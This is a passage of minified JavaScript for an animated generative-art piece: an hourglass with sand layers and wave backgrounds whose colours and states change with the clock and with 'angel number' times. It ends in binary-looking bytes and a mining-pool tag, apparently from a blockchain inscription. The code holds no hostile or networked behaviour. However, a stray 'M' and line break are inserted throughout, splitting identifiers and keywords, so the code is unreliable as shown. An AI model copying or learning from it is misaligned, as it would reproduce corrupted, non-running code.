t(5,50)),this.thickness2.push(getRandomInt(50,200)),this.theta2.push({value:random(this.thetaList)}),this.velocity2.push({value:random(this.min_speed,this.max_speed)}),this.sz2.push(random(.5,3)),this.xspacing3.push(getRandomInt(5,50)),this.thickness3.push(getRandomInt(50,200)),this.theta3.push({value:random(this.thetaList)}),this.velocity3.push({value:random(this.min_speed,this.max_speed)}),this.sz3.push(random(.5,3)),this.xspacing4.push(getRandomInt(5,50)),this.thickness4.push(getRandomInt(50,200)),this.theta4.puM
sh({value:random(this.thetaList)}),this.velocity4.push({value:random(this.min_speed,this.max_speed)}),this.sz4.push(random(.5,3));let t=e%5;this.c.push(Color.getSandColorByIndex(t,this._h,this._s,this._l).luminance(.25))}}setupDynamicWave(){this.dynamicWave={h:random(this.hCanvas/3),xspacing:getRandomInt(5,20),thickness:getRandomInt(100,200),theta:{value:random(this.thetaList)},velocity:{value:random(this.min_speed,this.max_speed)},sz:random(1,3),num_lines:0},1==this.patternOrder[0]?this.dynamicWave.h=random(200,heM
ight-200):2==this.patternOrder[0]?this.dynamicWave.h=random(200,width-200):(3==this.patternOrder[0]||4==this.patternOrder[0])&&(this.dynamicWave.h=random(200,2*this.ty-200))}update(e){this.time=e}drawHorWave(e,t,i,s,a,r,h,n,o){this.dx=TWO_PI/this.period*i,this.yvalues=new Array(floor(width/i+20));let l=this.time.getTime()/(1e3/60),d=r.value+h.value*l/5+t;for(let e=0;e<this.yvalues.length;e++)this.yvalues[e]=sin(d)*this.amplitude,d+=this.dx;for(let r=0;r<a;r++){e.noStroke(),e.fill(color(...Color.chromaToArray(o))),tM
+=s/a;for(let s=0;s<this.yvalues.length;s++){let a=s*i,r=t+this.yvalues[s];r<-2||r>height+2||e.square(a,r,n*this.maxR)}}}drawVerWave(e,t,i,s,a,r,h,n,o){this.dx=TWO_PI/this.period*i,this.xvalues=new Array(floor(height/i+20));let l=this.time.getTime()/(1e3/60),d=r.value+h.value*l/5+t;for(let e=0;e<this.xvalues.length;e++)this.xvalues[e]=sin(d)*this.amplitude,d+=this.dx;for(let r=0;r<a;r++){e.noStroke(),e.fill(color(...Color.chromaToArray(o))),t+=s/a;for(let s=0;s<this.xvalues.length;s++){let a=t+this.xvalues[s],r=s*iM
;a<-2||a>width+2||e.square(a,r,n*this.maxR)}}}drawDiaWave(e,t,i,s,a,r,h,n,o,l){let d=cos(-l),m=sin(-l);this.dx=TWO_PI/this.period*i,this.yvalues=new Array(floor(this.diagonal/i));let p=this.time.getTime()/(1e3/60),g=r.value+h.value*p/5+t;for(let e=0;e<this.yvalues.length;e++)this.yvalues[e]=sin(g)*this.amplitude,g+=this.dx;for(let r=0;r<a;r++){e.noStroke(),e.fill(color(...Color.chromaToArray(o))),t+=s/a;for(let s=0;s<this.yvalues.length;s++){let a=s*i,r=t+this.yvalues[s],h=n*this.maxR,o=a-this.diagonal/2,l=r-this.tM
y,p=o*d+l*m+width/2,g=-o*m+l*d+height/2;p<-2||p>width+2||g<-2||g>height+2||e.square(a,r,h)}}}drawHorizontal(e){let t=-50;for(let i=0;i<this.theta1.length;i++)this.drawHorWave(e,t,this.xspacing1[i]*width/1024,this.thickness1[i]*height/1024,this.num_lines,this.theta1[i],this.velocity1[i],this.sz1[i],this.c[i]),t+=(height+50)/this.num_waves}drawVertical(e){let t=-50;for(let i=0;i<this.theta1.length;i++)this.drawVerWave(e,t,this.xspacing2[i]*height/1024,this.thickness2[i]*width/1024,this.num_lines,this.theta2[i],this.vM
elocity2[i],this.sz2[i],this.c[i]),t+=(width+50)/this.num_waves}drawLeft(e){let t=0;for(let i=0;i<this.theta1.length;i++)e.push(),e.translate(width/2,height/2),e.rotate(PI/4),e.translate(-this.diagonal/2,-this.ty),this.drawDiaWave(e,t,this.xspacing3[i]*this.maxR,this.thickness3[i]*this.maxR,this.num_lines,this.theta3[i],this.velocity3[i],this.sz3[i],this.c[i],PI/4),e.pop(),t+=(2*this.ty-100)/(this.num_waves-1)}drawRight(e){let t=0;for(let i=0;i<this.theta1.length;i++)e.push(),e.translate(width/2,height/2),e.rotate(M
3*PI/4),e.translate(-this.diagonal/2,-this.ty),this.drawDiaWave(e,t,this.xspacing4[i]*this.maxR,this.thickness4[i]*this.maxR,this.num_lines,this.theta4[i],this.velocity4[i],this.sz4[i],this.c[i],3*PI/4),e.pop(),t+=(2*this.ty-100)/(this.num_waves-1)}drawPattern(e,t){1==t?this.drawHorizontal(e):2==t?this.drawVertical(e):3==t?this.drawLeft(e):this.drawRight(e)}draw(e,t,i,s,a){this._h=s.h,this._s=s.s,this._l=s.l,e.background(0);let r=t.getHours()>=6&&t.getHours()<18?.2:.05,h=Color.getSandColorByIndex(4,this._h,this._s,M
this._l).luminance(r).alpha(.5);if(e.background(color(...Color.chromaToArray(h))),!a)return;this.evolvePeriod==EvolvePeriod.HOURLY?this.dynamicWave.num_lines=(t.getHours()+11)%12+1:this.evolvePeriod==EvolvePeriod.DAILY?this.dynamicWave.num_lines=t.getDay()+1:this.evolvePeriod==EvolvePeriod.MONTHLY&&(this.dynamicWave.num_lines=t.getMonth()+1);for(let e=0;e<this.num_waves;e++){let t=e%5;this.c[e]=Color.getSandColorByIndex(t,this._h,this._s,this._l).luminance(.25)}1==i?(3==this.patternOrder[0]||4==this.patternOrder[0]M
?this.num_waves=30:this.num_waves=20,this.drawPattern(e,this.patternOrder[0])):2==i?(this.patternOrder[0]+this.patternOrder[1]==3?this.num_waves=10:this.patternOrder[0]+this.patternOrder[1]==7?this.num_waves=20:this.num_waves=15,this.drawPattern(e,this.patternOrder[0]),this.drawPattern(e,this.patternOrder[1])):3==i?(this.num_waves=10,this.drawPattern(e,this.patternOrder[0]),this.drawPattern(e,this.patternOrder[1]),this.drawPattern(e,this.patternOrder[2])):(this.num_waves=10,this.drawPattern(e,this.patternOrder[0]),M
this.drawPattern(e,this.patternOrder[1]),this.drawPattern(e,this.patternOrder[2]),this.drawPattern(e,this.patternOrder[3]));let{h:n,xspacing:o,thickness:l,num_lines:d,theta:m,velocity:p,sz:g}=this.dynamicWave,c=Color.getSandColorByIndex(0,this._h,this._s,this._l).luminance(.5);1==this.patternOrder[0]?this.drawHorWave(e,n,o*width/1024,l*height/1024,d,m,p,g,c):2==this.patternOrder[0]?this.drawVerWave(e,n,o*height/1024,l*width/1024,d,m,p,g,c):3==this.patternOrder[0]?(e.push(),e.translate(width/2,height/2),e.rotate(PI/M
4),e.translate(-this.diagonal/2,-this.ty),this.drawDiaWave(e,n,o*this.maxR,l*this.maxR,d,m,p,g,c,PI/4),e.pop()):4==this.patternOrder[0]&&(e.push(),e.translate(width/2,height/2),e.rotate(3*PI/4),e.translate(-this.diagonal/2,-this.ty),this.drawDiaWave(e,n,o*this.maxR,l*this.maxR,d,m,p,g,c,3*PI/4),e.pop())}}class GrainRenderer{static texture;static deltaX;static deltaY;static maxDelta=100;static wCanvas;static hCanvas;static setup(e,t){GrainRenderer.wCanvas=e+GrainRenderer.maxDelta,GrainRenderer.hCanvas=t+GrainRendereM
r.maxDelta,GrainRenderer.deltaX=random(-GrainRenderer.maxDelta,0),GrainRenderer.deltaY=random(-GrainRenderer.maxDelta,0),GrainRenderer.texture=createImage(GrainRenderer.wCanvas,GrainRenderer.hCanvas),GrainRenderer.texture.loadPixels();let i=GrainRenderer.texture.pixelDensity();for(let e=0;e<GrainRenderer.wCanvas;e++)for(let t=0;t<GrainRenderer.hCanvas;t++){let s=216.75,a=255,r=random(s,a),h=random(s,a),n=random(s,a);for(let s=0;s<i;s++)for(let a=0;a<i;a++){let o=4*((t*i+a)*GrainRenderer.wCanvas*i+(e*i+s));GrainRendM
erer.texture.pixels[o]=r,GrainRenderer.texture.pixels[o+1]=h,GrainRenderer.texture.pixels[o+2]=n,GrainRenderer.texture.pixels[o+3]=255}}GrainRenderer.texture.updatePixels()}static applyGrain(e,t){let i=!!t&&{atFrame:1};e.textureOverlay(GrainRenderer.texture,{mode:BURN,animate:i})}static applyGrainToMainCanvas(e){blendMode(BURN),e&&(GrainRenderer.deltaX=random(-GrainRenderer.maxDelta,0),GrainRenderer.deltaY=random(-GrainRenderer.maxDelta,0)),image(GrainRenderer.texture,GrainRenderer.deltaX,GrainRenderer.deltaY)}}conM
st HourglassSize={SMALL:"SMALL",MEDIUM:"MEDIUM",LARGE:"LARGE"};class HourglassRenderer{constructor(e,t,i){this.nLayer=10,this.wCanvas=e.width,this.hCanvas=e.height,this.hourglassSize=t.hourglassSize,this.poly=t.poly,this.evolvePeriod=t.evolvePeriod,this.xc=this.wCanvas/2,this.yc=this.hCanvas/2,this.x1=this.xc+random(100,300),this.y1=this.yc+random(100,300),this.x2=this.xc+random(100,300),this.y2=this.yc+random(100,300),this.x1m=this.wCanvas-this.x1,this.y1m=this.y1,this.maxR=min(this.wCanvas,this.hCanvas)/2,1==thisM
.poly?this.mainRadius=.1*this.maxR*4:this.mainRadius=.1*this.maxR*getRandomInt(1,6),i.registerIterationChangeEvent(this.onIterationChange.bind(this));let s=i.getCurrentIteration();this.onIterationChange(s),this.topline=this.polygon(this.xc,this.yc,this.poly,PI),this.bottomline=this.polygon(this.xc,this.yc,this.poly,0),this.sandRects=[Geometry.getBoundingBox(this.topline),Geometry.getBoundingBox(this.bottomline)],this.excitement=.15*max(this.sandRects[0][2],this.sandRects[0][3]),this.dx=[],this.dy=[];for(let e=0;e<2M
*this.nLayer;++e)this.dx[e]=random(-this.excitement,this.excitement),this.dy[e]=random(-this.excitement,this.excitement);this.curSecond=(new Date).getSeconds(),this.rotateAngle=0}onIterationChange(e){randomSeed(100*e+2),this.startAngle=this.getStartAngle(),this.radiuses=this.getRadiuses()}getIteration(e){let t,i=e.getTime()-60*e.getTimezoneOffset()*1e3;return this.evolvePeriod==EvolvePeriod.HOURLY?t=floor(i/36e5):this.evolvePeriod==EvolvePeriod.DAILY?t=floor(i/864e5):this.evolvePeriod==EvolvePeriod.MONTHLY&&(t=12*(M
e.getFullYear()-1970)+e.getMonth()),t}getStartAngle(){let e=getRandomInt(1,6);return PI/(2.5+.5*e)}getRadiuses(){let e,t;this.hourglassSize==HourglassSize.MEDIUM?(e=.45*this.maxR,t=.55*this.maxR):this.hourglassSize==HourglassSize.LARGE&&(e=.6*this.maxR,t=.7*this.maxR);let i=[];for(let s=0;s<this.poly;s++){let a;a=0==s?e:random(e,t),i.push(a)}return i}update(e,t){if(e.getSeconds()!=this.curSecond){this.curSecond=e.getSeconds(),this.secondTicked=!0,this.rotateAngle+=PI/30;for(let e=0;e<2*this.nLayer;++e)this.dx[e]=raM
ndom(-this.excitement,this.excitement),this.dy[e]=random(-this.excitement,this.excitement)}else this.secondTicked=!1;this.topline=this.polygon(this.xc,this.yc,this.poly,PI+t),this.bottomline=this.polygon(this.xc,this.yc,this.poly,t),this.sandRects=[Geometry.getBoundingBox(this.topline),Geometry.getBoundingBox(this.bottomline)],this.time=e,this.rotation=t}draw(e,t,i){let s=i.luminance(.3);e.fill(255,255,255,255),e.blendMode(REMOVE),e.rect(0,0,this.wCanvas,this.hCanvas),e.blendMode(BLEND),0==t?this.drawShadowNormal(eM
,s,this.time):1==t&&this.drawShadowCircle(e,s),e.fill(255,255,255,255),e.blendMode(REMOVE),this.drawShape(e,this.topline),this.drawShape(e,this.bottomline),e.blendMode(BLEND)}drawShadowNormal(e,t,i){let s=floor(i.getMinutes()/10),a=i.getMinutes()%10;e.push(),e.noFill(),e.strokeWeight(.005*this.maxR);for(let i=0;i<s;i++){let a=map(i,s,0,.2,.5),r=color(...Color.chromaToArray(t.alpha(a)));e.stroke(r),this.getAndDrawPolygon(e,this.xc+this.dx[2*i],this.yc+this.dy[2*i],this.poly,PI)}for(let i=0;i<a;i++){let s=map(i,a,0,.M
2,.5),r=color(...Color.chromaToArray(t.alpha(s)));e.stroke(r),this.getAndDrawPolygon(e,this.xc+this.dx[2*i+1],this.yc+this.dy[2*i+1],this.poly,0)}e.pop()}drawShadowCircle(e,t){e.push(),e.noStroke(),e.translate(this.xc,this.yc),e.rotate(PI+this.rotateAngle);for(let i=0;i<3;i++){let s=map(i,3,0,.2,.5),a=color(...Color.chromaToArray(t.alpha(s)));e.fill(a),this.getAndDrawPolygon(e,0,2.5*this.mainRadius,this.poly,PI),this.getAndDrawPolygon(e,0,2.5*-this.mainRadius,this.poly,0),e.rotate(PI/3)}e.pop(),e.push(),e.noFill(),M
e.strokeWeight(2),e.translate(this.xc,this.yc),e.rotate(-this.rotateAngle+PI/30);for(let i=0;i<3;i++){let s=map(i,3,0,.2,.5),a=color(...Color.chromaToArray(t.alpha(s)));e.stroke(a),this.getAndDrawPolygon(e,0,-this.mainRadius/2,this.poly,PI),this.getAndDrawPolygon(e,0,this.mainRadius/2,this.poly,0),e.rotate(-PI/3)}e.pop()}getAndDrawPolygon(e,t,i,s,a){let r=this.polygon(t,i,s,a);this.drawShape(e,r)}drawShape(e,t){e.beginShape();for(let i=0;i<t.length;i++)e.vertex(t[i].x,t[i].y);e.endShape(e.CLOSE)}polygon(e,t,i,s){leM
t a=(PI/2-this.startAngle)/i,r=0,h=[];h.push({x:e,y:t});let n=this.startAngle+s;for(let s=0;s<i;s++){let i=this.radiuses[r];r+=1;let s=e+cos(n)*i,o=t+sin(n)*i;h.push({x:s,y:o}),n+=a}r=this.poly,n=PI/2+a+s;for(let s=0;s<i;s++){r-=1;let i=this.radiuses[r],s=e+cos(n)*i,o=t+sin(n)*i;h.push({x:s,y:o}),n+=a}return h=h.filter((e=>!isNaN(e.x)&&!isNaN(e.y))),h}getSandRects=()=>this.sandRects;getTopLine=()=>this.topline;getBottomLine=()=>this.bottomline;getSecondTicked=()=>this.secondTicked}const WavePeriod={SHORT:"SHORT",MEM
DIUM:"MEDIUM",LONG:"LONG"},WaveHeight={SHORT:"SHORT",MEDIUM:"MEDIUM",TALL:"TALL"},WaveSpeed={SLOW:"SLOW",MEDIUM:"MEDIUM",FAST:"FAST"};class SandRenderer{static N_CURVE_POINT=50;static DROPDOWN_TIME=3;constructor(e,t,i,s,a,r,h,n){this.wCanvas=e.width,this.hCanvas=e.height,this.hInit=t,this.baseLine=this.transformCoord(i),this.baseH=s,this.baseS=a,this.baseL=r,this.curSecond=0,this.waveHeight=h.waveHeight,this.wavePeriod=h.wavePeriod,this.waveSpeed=h.waveSpeed,this.evolvePeriod=h.evolvePeriod,this.nSandLayer=6,this.lM
ayers=this.getLayers(),this._h=this.baseH,this._s=this.baseS,this._l=this.baseL,this.prevIteration=null,n.registerIterationChangeEvent(this.onIterationChange.bind(this));let o=n.getCurrentIteration();this.onIterationChange(o)}onIterationChange(e){null==this.prevIteration?this._h=this.getHue(this.baseH,0,e):this._h=this.getHue(this._h,this.prevIteration,e),this.prevIteration=e}getHue(e,t,i){let s=min(t,i),a=max(t,i);for(let r=s;r<a;r++){randomSeed(100*r+3);let s=random(1);if(this.evolvePeriod==EvolvePeriod.HOURLY?s=M
map(s,0,1,5,10):this.evolvePeriod==EvolvePeriod.DAILY?s=map(s,0,1,10,30):this.evolvePeriod==EvolvePeriod.MONTHLY&&(s=map(s,0,1,50,100)),i>t)for(e+=s;e>360;)e-=360;else for(e-=s;e<0;)e+=360}return e}update(e){this.time=e}getChroma(){return Color.getSandColorByIndex(0,this._h,this._s,this._l)}getBaseHSL(){return{h:this._h,s:this._s,l:this._l}}draw(e,t,i,s,a){this.nLayer=(this.time.getHours()+11)%12+1,t=this.transformCoord(t),e.background(0);let r=this.getChroma().luminance(.5).alpha(.25);e.background(color(...Color.cM
hromaToArray(r))),e.strokeWeight(1),this.layers.forEach((e=>{if(0==e.id)e.c=Color.getSandColorByIndex(e.id,this._h,this._s,this._l).luminance(.2).alpha(1);else{let t=map(e.id/this.nSandLayer,0,1,.5,.8);e.c=Color.getSandColorByIndex(e.id,this._h,this._s,this._l).alpha(t)}let s=map(i,0,1,e.baselineY,this.hInit),a=max(0,map(s,this.hInit,0,0,1)),r=Geometry.getPolyArea(t)*a;e.y=Geometry.getYByAreaBelow(t,r),e.y=map(e.y,0,this.hInit,.05*-this.hCanvas,this.hInit+.05*this.hCanvas)})),this.layers.forEach((i=>{s&&2*i.id<thisM
.nLayer&&this.drawDropdown(e,t,i,a)})),this.layers.forEach((t=>this.drawLayer(e,t)));let h=!1;this.time.getSeconds()!=this.curSecond&&(this.curSecond=this.time.getSeconds(),h=!0),GraphicUtils.applyMask(e,t)}transformCoord(e){let[t,i,s,a]=Geometry.getBoundingBox(e),r=t+s,h=i+a;return e.map((e=>{let n=map(e.x,t,r,-s/2,s/2)+this.wCanvas/2,o=map(e.y,i,h,0,a);return createVector(n,o)}))}getLayers(){let e=[];for(let t=0;t<this.nSandLayer;t++){let i,s=this.hInit/this.nSandLayer*t;this.waveSpeed==WaveSpeed.SLOW?i=random(.0M
08,.012):this.waveSpeed==WaveSpeed.MEDIUM?i=random(.016,.024):this.waveSpeed==WaveSpeed.FAST&&(i=random(.032,.048));let a,r,h=random(1e4);this.wavePeriod==WavePeriod.SHORT?a=random(2.7,3):this.wavePeriod==WavePeriod.MEDIUM?a=random(1.8,2):this.wavePeriod==WavePeriod.LONG&&(a=random(1.2,1.3)),this.waveHeight==WaveHeight.SHORT?r=this.hCanvas/30:this.waveHeight==WaveHeight.MEDIUM?r=this.hCanvas/24:this.waveHeight==WaveHeight.TALL&&(r=this.hCanvas/18);let n={mode:"DELTA_Y",deltaY:(e,t)=>map(sin(e*a*TAU+t*i+h),-1,1,-r,rM
)};e.push({id:t,baselineY:s,height:r,speed:i,seed:h,shape:n,stripe:{distance:random(.04*this.hInit,.08*this.hInit),height:random(.02*this.hInit,.04*this.hInit),stretch:random(1.2,1.5),colorTransform:e=>e.brighten(1.2)}})}return e}drawDropdown=(e,t,i,s)=>{let{c:a,shape:r}=i,h=Geometry.getBoundingBox(t)[3],n=this.time.getTime()/(1e3/60),o=createVector(this.wCanvas/2,0),l=createVector(this.wCanvas/2,h),d=[];for(let e=0;e<50;e++){let t=e/49,i=o.copy(),{x:s,y:a}=Vector.lerp(i,l,t);s+=r.deltaY(t,-n/5)*map(e,0,50,.1,1.5),M
d.push(createVector(s,a))}let m=map(s,0,SandRenderer.DROPDOWN_TIME,0,50);m=min(m,50),e.push(),e.noStroke(),e.fill(color(...Color.chromaToArray(a)));for(let t=0;t<m;t++)e.square(d[t].x,d[t].y,.004*this.hCanvas);e.pop()};drawLayer=(e,t)=>{if(2*t.id<this.nLayer){let i=this.getLayerPointline(t);this.drawWave(e,i,t),this.drawPattern(e,i,t,this.hCanvas/8,this.hCanvas/60),2*t.id+1<this.nLayer&&this.drawStripe(e,i,t)}};getLayerPointline=e=>{let{y:t,shape:i}=e,s=[],a=this.time.getTime()/(1e3/60);if("DELTA_Y"==i.mode){let e=M
createVector(0,t),r=createVector(this.wCanvas,t);for(let t=0;t<SandRenderer.N_CURVE_POINT;t++){let h=t/(SandRenderer.N_CURVE_POINT-1),n=e.copy(),{x:o,y:l}=Vector.lerp(n,r,h);l+=i.deltaY(h,a/5),s.push(createVector(o,l))}}else s=[start,end];return s};drawWave=(e,t,i)=>{let{c:s}=i;e.noStroke(),e.fill(color(...Color.chromaToArray(s))),e.beginShape(),e.vertex(0,this.hCanvas);for(let i=0;i<t.length;i++)e.vertex(t[i].x,t[i].y);e.vertex(this.wCanvas,this.hCanvas),e.endShape()};drawPattern=(e,t,i,s,a)=>{e.noStroke();for(letM
 i=a;i<=s;i+=a){let a=map((i-1)/(s-1),0,1,.2,0);e.fill(0,255*a),e.beginShape();for(let s=0;s<t.length;s++)e.vertex(t[s].x,t[s].y+i);for(let s=t.length-1;s>=0;s--)e.vertex(t[s].x,t[s].y+(i-1));e.endShape()}};drawStripe=(e,t,i)=>{let{c:s,stripe:{distance:a,height:r,stretch:h,colorTransform:n}}=i;e.noStroke();let o=n(s),l=color(...Color.chromaToArray(o)),d=s.alpha();l.setAlpha(255*d),e.fill(l),e.beginShape();for(let i=0;i<t.length;i++)e.vertex(t[i].x*h,t[i].y+a);for(let i=t.length-1;i>=0;i--)e.vertex(t[i].x*h,t[i].y+aM
+r);e.endShape()}}new Q5("global");let wCanvas,hCanvas,canvas,timeController,hourglass,layerBackground,layerSandTop,layerSandBottom,layerHourglass,renBackground,renSandTop,renSandBottom,renHourglass,renPostProcessing,traits,prevSpeed,showMode,currentTime,maxFps=60;setup=()=>{setupRandom(),setupTraits(),setupSketch()},setupRandom=()=>{let e=p5seed;randomSeed(e),noiseSeed(e)},setupTraits=()=>{let e=getRandomInt(1,10),t=getRandomItem([[HourglassSize.MEDIUM,70],[HourglassSize.LARGE,30]]),i=getRandomItem([[WaveHeight.SHM
ORT,1],[WaveHeight.MEDIUM,1],[WaveHeight.TALL,1]]),s=getRandomItem([[WavePeriod.SHORT,1],[WavePeriod.MEDIUM,1],[WavePeriod.LONG,1]]),a=getRandomItem([[WaveSpeed.SLOW,1],[WaveSpeed.MEDIUM,1],[WaveSpeed.FAST,1]]),r=getRandomItem([[EvolvePeriod.HOURLY,60],[EvolvePeriod.DAILY,35],[EvolvePeriod.MONTHLY,5]]),h=getRandomItem([[1,5],[2,20],[3,50],[4,20],[5,5]]),n=getPatternOrder(),o=getRandomItem(AngelNumber.map((e=>[e[0],1]))),l=getRandomItem(BlissLimit.map((e=>[e[0],e[2]])));traits={waveHeight:i,wavePeriod:s,waveSpeed:a,M
evolvePeriod:r,color:e,hourglassSize:t,poly:h,patternOrder:n,angelNumber:o,blissLimit:l},console.log(traits)},getPatternOrder=()=>{let e=[],t=[1,2,3,4],i=getRandomItem([[1,.6],[2,.1],[3,.15],[4,.15]]);e.push(i),patternChosen=t.indexOf(i),x=t.splice(patternChosen,1);for(let s=0;s<3;s++)i=random(t),e.push(i),patternChosen=t.indexOf(i),x=t.splice(patternChosen,1);return e},setupSketch=()=>{frameRate(maxFps),frameCount=0,wCanvas=windowWidth,hCanvas=windowHeight,canvas=createCanvas(wCanvas,hCanvas),showMode=0,timeControM
ller=new TimeController(traits),hourglass=new Hourglass(traits,timeController);let e=getRandomInt(0,361),t=getRandomInt(30,101),i=getRandomInt(50,101);Color.setColorMode(traits.color),layerBackground=createGraphics(wCanvas,hCanvas),renBackground=new BackgroundRenderer(layerBackground,e,t,i,traits,timeController),layerHourglass=createGraphics(wCanvas,hCanvas),renHourglass=new HourglassRenderer(layerHourglass,traits,timeController);let s=renHourglass.getSandRects(wCanvas,hCanvas),a=renHourglass.getTopLine(),r=renHourM
glass.getBottomLine(),h=createVector(s[0][2],s[0][3]).mag();layerSandTop=createGraphics(h,h),layerSandBottom=createGraphics(h,h),renSandTop=new SandRenderer(layerSandTop,s[0][3],a,e,t,i,traits,timeController),renSandBottom=new SandRenderer(layerSandBottom,s[0][3],r,e,t,i,traits,timeController),imgSandTop=createGraphics(wCanvas,hCanvas),imgSandBottom=createGraphics(wCanvas,hCanvas),renPostProcessing=new PostProcessing(wCanvas,hCanvas,traits),GrainRenderer.setup(wCanvas,hCanvas),prevSpeed=1},draw=()=>{let e=0==showMoM
de||1==showMode,t=0==showMode||2==showMode,{time:i,state:s,speed:a,paused:r,isLive:h,realDelta:n}=timeController.step();hourglass.update(i),renSandTop.update(i),renSandBottom.update(i),renBackground.update(i);let o=4==s?1:0,{top:l,rotation:d,flipped:m,timeSinceRotation:p}=hourglass.getState();renHourglass.update(i,d);let g=renSandTop.getChroma(),c=renSandTop.getBaseHSL();if(background(255),renBackground.draw(layerBackground,i,s,c,e),image(layerBackground,0,0),t){let e=renHourglass.getSandRects();renHourglass.draw(lM
ayerHourglass,o,g),renSandTop.draw(layerSandTop,renHourglass.getTopLine(),1-l,!m,p),renSandBottom.draw(layerSandBottom,renHourglass.getBottomLine(),l,m,p),image(layerSandTop,...e[0],(layerSandTop.width-e[0][2])/2,0,e[0][2],e[0][3]),image(layerSandBottom,...e[1],(layerSandBottom.width-e[1][2])/2,0,e[1][2],e[1][3]),image(layerHourglass,0,0)}let u=renHourglass.getSecondTicked();GrainRenderer.applyGrainToMainCanvas(u),renPostProcessing.updateFilter(a,r,h),prevSpeed=a,renPostProcessing.applyToMainCanvas(),currentTime=i}M
,keyPressed=()=>{"+"!=key&&"="!=key||timeController.setFasterSpeed(),"-"==key&&timeController.setSlowerSpeed(),keyCode==LEFT_ARROW&&timeController.jumpBackward(),keyCode==RIGHT_ARROW&&timeController.jumpForward(),keyCode==ESCAPE&&timeController.resumeLive()," "==key&&timeController.togglePause(),"T"!=key&&"t"!=key||(showMode=(showMode+1)%3),"S"!=key&&"s"!=key||saveCanvasAtCurrentTime()},saveCanvasAtCurrentTime=()=>{let e=60*new Date(currentTime).getTimezoneOffset()*1e3,t=new Date(currentTime-e).toISOString().slice(M
0,-1);save(t+".png")};const EvolvePeriod={HOURLY:"HOURLY",DAILY:"DAILY",MONTHLY:"MONTHLY"},AngelNumber=[["11/111/1111",["1:1","1:11","11:1","11:11"],["1/1","11/1","1/11","11/11"]],["22/222/2222",["2:2","2:22","22:2","22:22"],["2/2","22/2"]],["33/333/3333",["3:3","3:33"],["3/3"]],["44/444/4444",["4:4","4:44"],["4/4"]],["55/555/555",["5:5","5:55"],["5/5"]],["66/666/6666",["6:6"],["6/6"]],["77/777/7777",["7:7"],["7/7"]],["88/888/8888",["8:8"],["8/8"]],["99/999/9999",["9:9"],["9/9"]],["1212",["12:12"],["12/12"]],["399/M
339",["3:39"],["3/3","9/3","3/9","9/9"]],["83/8833",["8:3"],["8/3","3/8"]],["72/7722",["7:2"],["7/2","2/7"]],["633/6363",["6:3","6:33"],["6/3","3/6"]],["588",["5:8","8:58"],["8/5","5/8","8/8"]],["446/4646",["4:6","4:46"],["4/4","6/4","4/6"]],["000",[],[]],["1010",["10:10"],["10/10"]],["1017",["10:17","17:10"],["17/10"]],["1022",["10:22","22:10"],["22/10"]],["1313",["13:13"],["1/3","3/1"]],["1444",["14:44"],["4/1","1/4","4/4"]],["2020",["20:20"],["2/2"]]],BlissLimit=[["Forever",-1,3],["2",2,40],["5",5,30],["10",10,2M
0],["20",20,7]];class TimeController{constructor(e){this.speeds=[-3600,-60,-10,-3,1,3,10,60,3600],this.defaultSpeedLevel=4,this.evolvePeriod=e.evolvePeriod,this.angelNumber=e.angelNumber,this.blissLimit=e.blissLimit,this.timestamp=Date.now(),this.prevRealTimestamp=this.timestamp,this.paused=!1,this.speedLevel=this.defaultSpeedLevel;let t=new Date(this.timestamp);this.iteration=this.getIteration(t),this.prevBliss=this.getPrevBliss(t,1),this.iterationChangeHandlers=[]}getCurrentIteration=()=>this.iteration;getIteratiM
on(e){let t,i=e.getTime()-60*e.getTimezoneOffset()*1e3;return this.evolvePeriod==EvolvePeriod.HOURLY?t=floor(i/36e5):this.evolvePeriod==EvolvePeriod.DAILY?t=floor(i/864e5):this.evolvePeriod==EvolvePeriod.MONTHLY&&(t=12*(e.getFullYear()-1970)+e.getMonth()),t}registerIterationChangeEvent(e){this.iterationChangeHandlers.push(e)}unregisterIterationChangeEvent(e){this.iterationChangeHandlers=this.iterationChangeHandlers.filter((t=>t!=e))}step(){let e=Date.now(),t=e-this.prevRealTimestamp,i=this.speeds[this.speedLevel],sM
=this.paused?0:i;this.timestamp+=t*s,this.timestamp=this.limitTimestamp(this.timestamp);let a=new Date(this.timestamp),r=this.getStateFromTime(a);this.updateIteration(a),this.prevRealTimestamp=e;let h=this.timestamp==e;return{time:a,state:r,speed:i,paused:this.paused,isLive:h,realDelta:t}}updateIteration(e){let t=this.getIteration(e);t!=this.iteration&&(this.iterationChangeHandlers.forEach((e=>e(t))),this.iteration=t)}getStateFromTime(e){let t,i,s=e.getHours(),a=e.getMinutes(),r=e.getDate(),h=e.getMonth()+1;if("000M
"==this.angelNumber)i=0==s&&0==a,t=i&&1==r&&1==h;else{let e=`${s}:${a}`,n=`${h}/${r}`,o=AngelNumber.filter((e=>e[0]==this.angelNumber))[0];i=o[1].includes(e),t=o[2].includes(n)}return i&&t?4:t?3:i?2:1}limitTimestamp(e){let t=BlissLimit.filter((e=>e[0]==this.blissLimit))[0][1],i=Date.now(),s=this.getPrevBliss(new Date,t);return e>i?(e=i,this.resetSpeed()):e<s&&(e=s,this.resetSpeed()),e}getPrevBliss(e,t){if(-1==t)return 0;let i=e.getTime()-e.getMilliseconds()-1e3*e.getSeconds();for(;t>0;){i-=6e4;let e=this.getStateFrM
omTime(new Date(i));2!=e&&4!=e||(t-=1)}return i}getNextBliss(e,t){if(-1==t)return Date.now();let i=e.getTime()-e.getMilliseconds()-1e3*e.getSeconds();for(;t>0;){i+=6e4;let e=this.getStateFromTime(new Date(i));2!=e&&4!=e||(t-=1)}return i}togglePause(){this.paused=!this.paused}setFasterSpeed(){this.speedLevel=min(this.speedLevel+1,this.speeds.length-1),this.paused=!1}setSlowerSpeed(){this.speedLevel=max(this.speedLevel-1,0),this.paused=!1}jumpForward(){let e=new Date(this.timestamp);this.timestamp=this.getNextBliss(eM
,1),this.timestamp=this.limitTimestamp(this.timestamp),this.resetSpeed()}jumpBackward(){let e=new Date(this.timestamp);this.timestamp=this.getPrevBliss(e,1),this.timestamp=this.limitTimestamp(this.timestamp),this.resetSpeed()}resetSpeed(){this.speedLevel=this.defaultSpeedLevel,this.paused=!1}resumeLive(){this.timestamp=Date.now(),this.resetSpeed()}}
*9*-13666 (;?:4>0563
"33333333333333333333333333333333333333333333333333
+;,/35888!*=A<6A2785
$55555555555555555555555555555555555555555555555555
c/Foundry USA Pool #dropgold/
text/html;charset=utf-8
